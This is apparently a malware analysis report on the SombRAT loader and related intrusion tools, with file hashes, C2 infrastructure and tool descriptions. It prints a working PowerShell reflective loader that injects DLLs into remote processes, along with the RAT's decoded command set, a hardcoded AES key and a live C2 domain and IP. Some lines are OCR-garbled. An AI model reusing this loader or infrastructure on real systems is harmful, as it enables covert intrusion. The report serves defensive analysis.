$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
#Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}

Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants

$RemoteProcHandle = [IntPtr]::Zero

#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
{
Throw "Can't supply a ProcId and ProcName, choose one or the other"
}
elseif ($ProcName -ne $null -and $ProcName -ne "")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw "Can't find process $ProcName"
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo

Throw "More than one instance of $ProcName found please specify the process ID to inject in to "


-----

}
else
{
$ProcId = $Processes[0].ID
}
}

#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is
needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
#    if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
#    {
#      #Write-Verbose "Getting SeDebugPrivilege"
#      Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
#    }

if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw "Couldn't obtain the handle for process ID: $ProcId"
}

#Write-Verbose "Got the handle for the remote process to inject in to"
}

#Load the PE reflectively
#Write-Verbose "Calling Invoke-MemoryLoadLibrary"
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -ExeArgs $ExeArgs -ForceASLR $ForceASLR
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw "Unable to load PE, handle returned is NULL"
}

$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process

#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
switch ($FuncReturnType)
{
'WString' {
#Write-Verbose "Calling function with WString return type"
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."

}


-----

$ St g u c e egate Get e egate ype @() ([ t t ])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr,
$WStringFuncDelegate)
[IntPtr]$OutputPtr = $WStringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
}

'String' {
#Write-Verbose "Calling function with String return type"
[IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
if ($StringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$StringFuncDelegate = Get-DelegateType @() ([IntPtr])
$StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr,
$StringFuncDelegate)
[IntPtr]$OutputPtr = $StringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
Write-Output $Output
}

'Void' {
#Write-Verbose "Calling function with Void return type"
[IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if ($VoidFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$VoidFuncDelegate = Get-DelegateType @() ([Void])
$VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
$VoidFunc.Invoke() | Out-Null
}
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw "VoidFunc couldn't be found in the DLL"
}

$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle

#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions
$Win32Functions
}

#Don't free a library if it is injected in a remote process or if it is an EXE.
#Note that all DLL's loaded by the EXE will remain loaded in memory.
if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else

{


-----

# e ete t e e o e o y
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
#Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
}
}

#Write-Verbose "Done!"
}

Main
}

$key = [IO.File]::ReadAllBytes('c:\programdata\Microsoft\WwanSvc.a')
$PEBytes = [IO.File]::ReadAllBytes('c:\programdata\Microsoft\WwanSvc.b')

Write-Host 1

#Write-Host 'Key length: ' $key.count
#Write-Host 'Encrypted length: ' $PEBytes.count

for($i=0; $i -lt $PEBytes.count ; $i++) {
$PEBytes[$i] = ($PEBytes[$i] -bxor $key[$i % $key.count])
}

Write-Host 2

#Write-Host 'Dump decrypted base64 PEBytes...'

$FuncReturnType = 'Void'
$ProcId = $null
$ProcName = $null
$ForceASLR = 0
$ComputerName = $null
$DoNotZeroMZ = 0;
$ExeArgs = "none"

Write-Host 3

#Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1000000] | % {[Char] $_}) -join ''

if ($e_magic -ne 'MZ') {
throw 'PE is not a valid PE file.'
}

Write-Host 4

RemoteScriptBlock $FuncReturnType $ProcId $ProcName $ForceASLR
---End Decoded Script Content--
The script will decode the content of WwanSvc.b (c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd) and then
check to confirm that it has a valid PE header. The script will also check the system environment for a 64-bit architecture. The executable is not
written to disk but loaded directly into memory.

**c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd**

Tags

downloaderremote-access-trojanuploader

Details


-----

**Name** WwanSvc.b

**Size** 706560 bytes

**Type** data

**MD5** 27c1574b820350b191d9fba514d70720

**SHA1** 054ab4fd3a57436685e7067ff34b8efb45669fc6

**SHA256** c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

**SHA512** e2445cf26c7b33bae91474246133d55ff67fa20acaa1c80c142e356b89927e4b0f9bd0a4ed82630919ddd56303030fb96c5187b27494a9a

**ssdeep** 12288:j5ql+KNySxRR0wsrddKHjNQRbYnBuBi4EwC+Qpho5IRgYh3bDhuVS91o63p002nV:FqlFBRty+GNiuB5qogbgW/002nV

**Entropy** 7.998041

**Path** C:\ProgramData\Microsoft

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

c5a1dbb49f... Used bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

c5a1dbb49f... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

Description

This artifact, when decoded, is a 64-bit variant of the SombRAT loader. The primary purpose of the loader is to allow a remote operator to
securely download and load executable plugins on a target system. Given this plugin structure, the author can easily mold the RAT to provide
additional functionalities and capabilities. The application contains two hard coded public RSA keys, which it will utilize to secure its command
and control (C2) sessions with the remote operator. Static analysis indicates that the C2 communications will also be encrypted using
Advanced Encryption Standard (AES) resulting in a secure Secure Sockets Layer (SSL) tunnel with the remote operator.

The configuration file, 59fb3174bb34e803 was also submitted for analysis. This file, located in C:\ProgramData, contains data the malware
requires at runtime, including the operator controlled remote C2 address. The malware decrypts this configuration file with the hard coded AES
key ‘ujnchdyfngtreaycnbjgi837157fncae’. See Figure 1.

The malware contains numerous encoded strings, including an AES key that is used to decrypt the malware configuration file. The malware
decrypts these strings by first XORing them with the first byte. The malware then decrypts the rest of the string by XORing it with the single
byte XOR key 0xDE. This string can be decrypted by XORing the entire string with the value 0x78, and then XORing the result with 0xDE.

The RAT provides most of its C2 capabilities to the remote operator by allowing the remote operator to securely transfer executable dynamiclink library (DLL) plugins to the target system. This is done via a protected SSL session and load these plugins at will via the embedded plugin
framework. The native malware itself does not provide much actual functionality to the operator without the code provided by the plugins.
Some of the native functionality that the malware provides without the use of a plugin includes collecting system data such as computer name,
user name, current process, operating system (OS) version, local system time, and current process that the malware is running as. The
program also contains native C2 capabilities allowing it to communicate with the remote operator using an embedded SOCKS proxy or via
domain name system (DNS) tunneling.

The malware does contain hard coded commands that it uses to evaluate against operator-provided data. These commands are encoded
within the binary, and they are not encoded before being compared against operator-provided data —indicating the malware expects the
remote operator to encode the commands before passing them to the Remote Access Tool. Some of the decoded strings the malware uses
during its C2 sessions are displayed below:

---Begin Embedded Commands--
srubp || debug

~yqxezvc~xyvttrgcrs || informationaccepted

{xvsqexzq~{r || loadfromfile


-----

ue st dc || b oadcast
g{bp~yby{xvs || pluginunload
v`v~cHprctxycryc || await_getcontent
zxsb{rd{~dc || moduleslist
yrc`xe|txyyrtcrs || networkconnected
gextrddyvzr || processname
|rn{xp || keylog
{xvsqexzzrzxen || loadfrommemory
~y~c~v{~mrvys{xvsg{bp~yunby~f~s || initializeandpluginbyuniqid
prc~yqx || getinfo
t{xdrvyssr{rcrdcxevpr || closeanddeletestorage
{xvsg{bp~ytxzg{rcr || loadplugincomplete
{xvsqexzdcxevpr || loadfromstorage
vdnytrarycdtxbyc || asynceventscount
yrc`xe|s~dtxyyrtcrs || networkdisconnected
ub~{sg{vcqxez || buildplatform
srdte~gcxedtxbyc || descriptorscount
g{bp~y{xvstxzg{rcr || pluginloadcomplete
d.bcsx`y || shutdown
{xvsvds{{ || loadasdll
g{bp~yby{xvstxzg{rcr || pluginunloadcomplete
~y}rtcxe || injecter
by~ydcv{{ || uninstall
`~yg{vcqxez || winplatform
s{{q~{ryvzr || dllfilename
~d`x`!# || iswow64
dcxevprxgryreexe || storageopenerror
dcxevprt{xdrs || storageclosed
t{xdrdcxevpr || closestorage
erdrcdcxevpr || resetstorage
tervcr || create
bg{xvs || upload
dcxevprxgryrs || storageopened
srubp{xp || debuglog
prcgextrdd{~dc || getprocesslist
xgrydcxevpr || openstorage
t{rvev{{ || clearall
dcxevprt{xdrreexe || storagecloseerror
sr{rcrxydbttrdd || deleteonsuccess
gextrdd{~dc || processlist
|~{{gextrddung~s || killprocessbypid
|~{{gextrddunyvzr || killprocessbyname

---End Embedded Commands--
Many of the commands from the embedded proxy were also decoded. The following is a sample of the decoded commands:

---Begin Decoded Proxy Commands--
prctxycryc || getcontent
gexongxec || proxyport
ertxyyrtc || reconnect
gexonsxzv~y || proxydomain
erdrcgexon || resetproxy
gexonbdre || proxyuser
drcgexon || setproxy
gexoncngr || proxytype
ertauncrd || recvbytes
d`~ct.cxsyd || switchtodns
s~dtxyyrtc || disconnect
prcgexon || getproxy
d`~ct.cxctg || switchtotcp

---End Decoded Proxy Commands--

-----

The malware also contains an encoded note presumably designed for malware analysts whom analyze the code. Translation is "Nobody's
perfect but me." See Figure 2.

Screenshots

**Figure 2. -**

**Figure 1. -**

**a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa**

Tags

loaderobfuscated

Details

**Name** WwanSvc.a__2

**Size** 256 bytes

**Type** data

**MD5** e4c3fff8caedf0ecf6c88d6566e5bbbc

**SHA1** 6aacdcba1a6e645ef51bd78b080b14482593f985

**SHA256** a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

**SHA512** 51c37f58074b143b1ba57564134569a91b2e978b6ab704262f12f77c49b08ed47e46111b06da26e3ce1abe374da3d5d2d65dbe12a7b73

**ssdeep** 6:0lTfidEojQg4KBACrBzMmp599q7ATeha0RuvsCeBtGJ0/NM06MOqsvb:YUxtACxRBqU6ha0YvsCGo06MOqib


-----

**Entropy** 8.000000

**Path** C:\ProgramData\Microsoft

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

a7f5097c0d... Related_To 911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886

a7f5097c0d... Related_To c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b

Description

This artifact contains a 256 byte key that is used by the base64 encoded script in WwanSvc.txt to decode a new PowerShell script in
WwanSvc.c_2. The key is also used to decode the reflectively loaded payload in WwanSvc.b_2.

**911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886**

Tags

file-lessloaderobfuscated

Details

**Name** WwanSvc.c__2

**Size** 121572 bytes

**Type** data

**MD5** 70817c4ec5e11736e0cfee5d10eb7fd5

**SHA1** a29d2e4b55bf9919912a52d44931e17c073428a2

**SHA256** 911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886

**SHA512** b44e21ef7b205d2b39e86440adb8542383d878b0cb3d059654c07573d37f281eb7e627b17a2707fa0ad0c6e04f3e16a36a9248fb7e7223

**ssdeep** 3072:CZOS7EuckzCINqSz+T4XgeW02d7XYHX4Ll7:YouBTUT4ge2d7o349

**Entropy** 7.998462

**Path** C:\ProgramData\Microsoft

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

911a88fe16... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

Description

The decoded content of this artifact is identical to the content found in WwanSvc.c. The file has been XOR encoded using the 256 byte found
in WwanSvc.a_2.

**c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b**

Tags

downloaderremote-access-trojanuploader


-----

**Name** WwanSvc.b__2

**Size** 701952 bytes

**Type** data

**MD5** 5995868461ab50df049438a6aade7481

**SHA1** c9fab63ec0d603197d18ce90f34e7af73f9e7679

**SHA256** c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b

**SHA512** 177c9ce930d210b08741e3c39189ff3511137421921310630a5fae7942e89e53ee8a5c473ff9c40b8e5bbe2fcf43f66c76881314d20bce73

**ssdeep** 12288:Si5Pge+HQa6GVJdX3J58QpweBrFdkfPO4eijQYUKnJqUE0:Si5PAQa6GZ5pwSOfB3QYBJqC

**Entropy** 7.998112

**Path** C:\ProgramData\Microsoft

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

c0a214a60d... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

Description

This artifact is identical to c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd detailed in this report. The RAT has
been obfuscated using the XOR key from a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa also in this report.

**bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e**

Details

**Name** 59fb3174bb34e803

**Size** 384 bytes

**Type** data

**MD5** 440a5d706ee43959434d0f78758d94a0

**SHA1** bd3d107f8016bb249623033745fc8ce34807590b

**SHA256** bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

**SHA512** 365b39e6b0745167ab04eb699c39031ea076b9d634d6943fc66d9936448b8c4cd0f191aac5709ed6c3adf89ae492fa6cbcedd157a22e24

**ssdeep** 6:SFrUf9Ad4khJDJuvfExTo44Rw8c5CsU+C1SSmwUN0KcsG+u5hhaIUrDJfAtZ5/HM:arG1khJDIeo44R1c5C1+C1/hUcsvkHGj

**Entropy** 7.421853

**Path** C:\ProgramData

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships


-----

bfc50bf40a... Connected_To feticost.com

bfc50bf40a... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

Description

This artifact is an encrypted configuration file that is read by the WwanSvc program. The configuration file contains the hardcoded domain,
feticost.com. The program attempts DNS queries for this domain prepending a third level domain that consists of seven to nine random
hexidecimal characters, e.g. bb95058f1.feticost.com.

**feticost.com**

Tags

command-and-control

Whois

Domain Name: FETICOST.COM

Registry Domain ID: 2573255396_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.tucows.com

Registrar URL: http://www.tucows.com

Updated Date: 2021-02-18T19:23:17Z

Creation Date: 2020-11-18T20:57:21Z

Registry Expiry Date: 2021-11-18T20:57:21Z

Registrar: Tucows Domains Inc.

Registrar IANA ID: 69

Registrar Abuse Contact Email:

Registrar Abuse Contact Phone:

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited

Name Server: NS1.FETICOST.COM

Name Server: NS2.FETICOST.COM

DNSSEC: unsigned

Domain Name: FETICOST.COM

Registry Domain ID: 2573255396_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.tucows.com

Registrar URL: http://tucowsdomains.com

Updated Date: 2021-02-18T19:23:16

Creation Date: 2020-11-18T20:57:21

Registrar Registration Expiration Date: 2021-11-18T20:57:21

Registrar: TUCOWS, INC.

Registrar IANA ID: 69

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited

Registry Registrant ID:

Registrant Name: REDACTED FOR PRIVACY

Registrant Organization: REDACTED FOR PRIVACY

Registrant Street: REDACTED FOR PRIVACY

Registrant City: REDACTED FOR PRIVACY

Registrant State/Province: Charlestown

Registrant Postal Code: REDACTED FOR PRIVACY

Registrant Country: KN

Registrant Phone: REDACTED FOR PRIVACY

Registrant Phone Ext:

Registrant Fax: REDACTED FOR PRIVACY

Registrant Fax Ext:

Registrant Email: https://tieredaccess.com/contact/1c4c43bb-ee8a-433e-9a77-71a4c740da84

Registry Admin ID:

Admin Name: REDACTED FOR PRIVACY

Admin Organization: REDACTED FOR PRIVACY

Admin Street: REDACTED FOR PRIVACY

Admin City: REDACTED FOR PRIVACY

Admin State/Province: REDACTED FOR PRIVACY

Admin Postal Code: REDACTED FOR PRIVACY

Admin Country: REDACTED FOR PRIVACY

Admin Phone: REDACTED FOR PRIVACY


-----

d o e t
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: REDACTED FOR PRIVACY
Registry Tech ID:
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: REDACTED FOR PRIVACY
Name Server: ns1.feticost.com
Name Server: ns2.feticost.com
DNSSEC: unsigned

Relationships

feticost.com Connected_From bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

feticost.com Resolved_To 51.89.50.152

Description

The file 59fb3174bb34e803 attempted to connect to the IP address at the time of analysis.

**51.89.50.152**

Relationships

51.89.50.152 Resolved_To feticost.com

Description

At the time of analysis the domain feticost.com resolved to this IP address.

**18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311**

Tags

reconnaissance

Details

**Name** RouterScan.exe

**Size** 2807808 bytes

**Type** PE32 executable (GUI) Intel 80386, for MS Windows

**MD5** 9cfd524557c76097bbf6cf493b351a04

**SHA1** ae16aea46540f2013c92e2a9ba3310824c949554

**SHA256** 18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311

**SHA512** 1ea7e45129cbe508a7fdf43ed76add82cabaa1ef75bc492f7fb6e373c4a2af3d7b3014000dbfc544c8a8dba469a1d165d3ad99bd4cf6a538

**ssdeep** 49152:jBFDCgg0ISOvxXI0cpb4NGvFILfGBRysfTuTP3:jX4xI0gvFrBRy/3

**Entropy** 6.569284

Antivirus

**McAfee** GenericRXNT-SV!9CFD524557C7

YARA Rules

No matches found.


-----

No matches found.

PE Metadata

**Compile Date** 2020-10-18 13:22:11-04:00

**Import Hash** db0d6c362bcdb15cb58ca00d4881514f

**Company Name** Stas'M Corp.

**File Description** Router Scan by Stas'M

**Internal Name** Router Scan

**Legal Copyright** Copyright © Stas'M Corp. 2020

**Original Filename** RouterScan.exe

**Product Name** Router Scan by Stas'M

**Product Version** 2.6.0.0

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

06641923d8930b820ae0fa2744ffbfce header 1024 2.503522

cefdcb37a37e2c0d08f51b64b7725a9f .text 2202624 6.336674

710055abcb0a0e06b57618351d043d7b .itext 7680 6.007764

b5c7525826eacee1f3c9cde60af087af .data 59904 5.974659

d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000

81b3c32719fa3be1b1be9d29173d1e0f .idata 16384 5.151731

f0a26ffcf00e65e34c3a9e5a2876c722 .didata 1024 3.607385

d41d8cd98f00b204e9800998ecf8427e .tls 0 0.000000

a25cceaee97599dd7fb13cc3ecb3f744 .rdata 512 0.210826

11cb8b70eea47fc8d6855bd177f8a71c .reloc 171520 6.706152

1deda5de7f7cb7e571031b2163a9b359 .rsrc 347136 6.750274

Packers/Compilers/Cryptors

BobSoft Mini Delphi -> BoB / BobSoft

Description

This artifact is Router Scan v2.60 by Stas,M. This utility is used to identify network routers and proxy servers on a network. The latest release
of this program (v2.60) contains a list of common admin names and passwords that can be used for a dictionary attack to gain access to a
network router. The program also contains code to identify common vulnerabilities and leverage exploits against many popular routers. The
program can be customized to scan any subnet, any particular port, or protocol. The latest version also contains software to scan for wireless
network access points. To execute this program, two libraries are required: librouter.dll and libeay32.dll. Upon execution, the program will
generate several telemetry files that are dropped in the current directory. These files are named RouterScan.log, Config.ini, filter.txt,
exclusions.txt, ports.txt, and ranges.txt.

Screenshots

**Figure 3 -**


-----

Tags

credential-harvestertrojan

Details

**Name** grabff.exe

**Size** 7680 bytes

**Type** PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

**MD5** 4d3d3919dda002511e03310c49b7b47f

**SHA1** b16a1eb8bc2e5d4ded04bfaa9ee2b861ead143ba

**SHA256** 7d57e0ba8b36ec221b16807ce4e13a1125d53922fa50c3827a5ebd6811736ffd

**SHA512** c9479a4e25fadfb0135bfa69e3da3d8f1aeffe6e4bc1a2797a59dcbb03ef24f16471577f1223d56d9b5a4efc53a7056aecef4100da8316d60

**ssdeep** 96:SUAX6SDdzEtOjmbUgvuNixSo+P1VP1ZLYttKftddvzNt:1ANEtOjmoNkPA1pYttKVX5

**Entropy** 4.596081

Antivirus

**Ahnlab** Trojan/Win.MSIL

**Avira** TR/Agent.wzlfi

**Bitdefender** Trojan.GenericKD.46215542

**Emsisoft** Trojan.GenericKD.46215542 (B)

**K7** Riskware ( 0040eff71 )

**Lavasoft** Trojan.GenericKD.46215542

**McAfee** RDN/Generic.dx

**NANOAV** Trojan.Win32.Stealer.iuvcng

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2089-03-19 14:11:14-04:00

**Import Hash** f34d5f2d4577ed6d9ceec516c1f5a744

**File Description** grabff

**Internal Name** grabff.exe

**Legal Copyright** Copyright © 2020

**Original Filename** grabff.exe

**Product Name** grabff

**Product Version** 1.0.0.0

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

b203efaadd0c4f2ecd98c9b8a0b19d17 header 512 2.602195

eaf514816a407e08363e07afe7542382 .text 5120 5.077952

9b966fca775229b7005842be47aa73e9 .rsrc 1536 4.034473


-----

6e567d7047b8f05a0725da27ffbb2abd .reloc 512 0.081539

Packers/Compilers/Cryptors

Microsoft Visual C# v7.0 / Basic .NET

Description

This artifact is a 32-bit .NET executable called grabff. The program uses a command line interface to extract Firefox stored passwords and
authentication information from the user's profile located at C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles. The program will
extract the password databases found in key3.db, key4.db, and logins.json as well as the sqlite-based certificate database, cert9.db. The data
can be copied to any designated directory.

**495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177**

Tags

utility

Details

**Name** rclone.exe

**Size** 39144960 bytes

**Type** PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

**MD5** abb0fbecd6ac93d3271fc34269a1fb68

**SHA1** fc09069b25f42cb8dc6960eea76980a0ea8a768c

**SHA256** 495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177

**SHA512** c921aa311d4096accb4e10b9c16d947acfe7828afd3c5b94a0bf1059300434751df440e5a85427e47540b06d368f777891abdd6b6090e3

**ssdeep** 196608:7j2z/byHB8rHbHUaAc6R9PFvQ3Ko7OGu5Dt57q4EQGXyc9+sVK5jAgcb5n1cHYft:suh0Unq3oDkdz

**Entropy** 5.895969

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2020-06-10 11:26:48-04:00

**Import Hash** f92b8a691e76b8843c69dd59c9dac4dc

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

543b66d31974c0e65d15a31ae7930593 header 1024 2.499329

f22b28d6d68881e9c85cb7c4224bc09b .text 17408512 5.719293

827f84c9da5b7418978f9b5476cdbfec .data 636416 5.201837

3f9f9088ac374ea51759bdcbc4b78a76 .rdata 21090816 5.390432

f0ac7ba71448f1ff46ba958bf58d5c81 .pdata 1536 5.273794

3c41e0fecd0137e76631b5a2cb2996aa .xdata 1536 3.739931

d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000

2d2d0405cfa0f1a49949a4712ef6dbb2 .idata 4096 4.417682

4e35d3b10dfa07e092a95be05d663be7 .CRT 512 0.332025


-----

bf619eac0cdf3f68d496ea9344137e8b .tls 512 0.000000

Packers/Compilers/Cryptors

Microsoft Visual C++ 8.0 (DLL)

Description

This artifact is an open-source cloud content management program called RClone. The program uses a command line interface to manage
files in cloud storage. The program is capable of uploading and downloading files, verifying file integrity, and providing file encryption. The
program can use any of the following protocols: SSH File Transfer Protocol (SFTP), Web Distributed Authoring and Versioning (WebDAV), File
Transfer Protocol (FTP), and Digital Living Network Alliance (DLNA).

Screenshots

**Figure 4. -**

**5f312e137beb1ce75f8fdf03a59e1b3cba3dc57ccc16e48daee3ee52c08fa149**

Tags

downloadertrojanuploader

Details

**Name** s3browser-9-5-3.exe

**Size** 3429408 bytes

**Type** PE32 executable (GUI) Intel 80386, for MS Windows

**MD5** e0c3c5376abe535e255bd8893540abc4

**SHA1** f9667504eb648527038adc3932d4c5b7c8443a65

**SHA256** 5f312e137beb1ce75f8fdf03a59e1b3cba3dc57ccc16e48daee3ee52c08fa149

**SHA512** c3b024d5fe1b3b2d5c8712057b320eaf6e02c88bc9a478319821c52197fba39f20c2983a510e58962155f9678cfcc2e29eaeb08115421f93

**ssdeep** 49152:IZ00AYLQ+Vf1XvOZK1zeeEHVOx43F4uLHX28gw20DxpPva8FAkyflqnLSKhj0T:RtYLTrW5HmUST826pPvaup8lqLxjy

**Entropy** 7.986284

Antivirus


-----

o atc es ou d

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2016-04-06 10:39:04-04:00

**Import Hash** 20dd26497880c05caed9305b3c8b9109

**Company Name** NetSDK Software

**File Description** S3 Browser version 9.5.3

**Internal Name** None

**Legal Copyright** Copyright © 2008-2021 NetSDK Software

**Original Filename** None

**Product Name** S3 Browser

**Product Version** 9.5.3.0

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

eedf003e53c9d35595d518b33fd7370c header 1024 2.142591

a33e9ff7181115027d121cd377c28c8f .text 62464 6.375214

caec456c18277b579a94c9508daf36ec .itext 4096 5.732201

746954890499546d73dce0e994642192 .data 3584 2.296721

d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000

e9b9c0328fd9628ad4d6ab8283dcb20e .idata 4096 4.597813

d41d8cd98f00b204e9800998ecf8427e .tls 0 0.000000

3dffc444ccc131c9dcee18db49ee6403 .rdata 512 0.204488

6cb3466e71bb5ddd04517a59ca7f6153 .rsrc 45568 4.145160

Packers/Compilers/Cryptors

Borland Delphi 4.0

Description

This artifact is the free version of the S3 Browser program used to upload and download data from a cloud account. The program can fully
configure a cloud account, modify Hypertext Transfer Protocol (HTTP) headers and object tags, enable multiple simultaneous uploads and
downloads, and provide server side encryption. By default, the installed components of the program are stored in the path C:\Program Files\S3
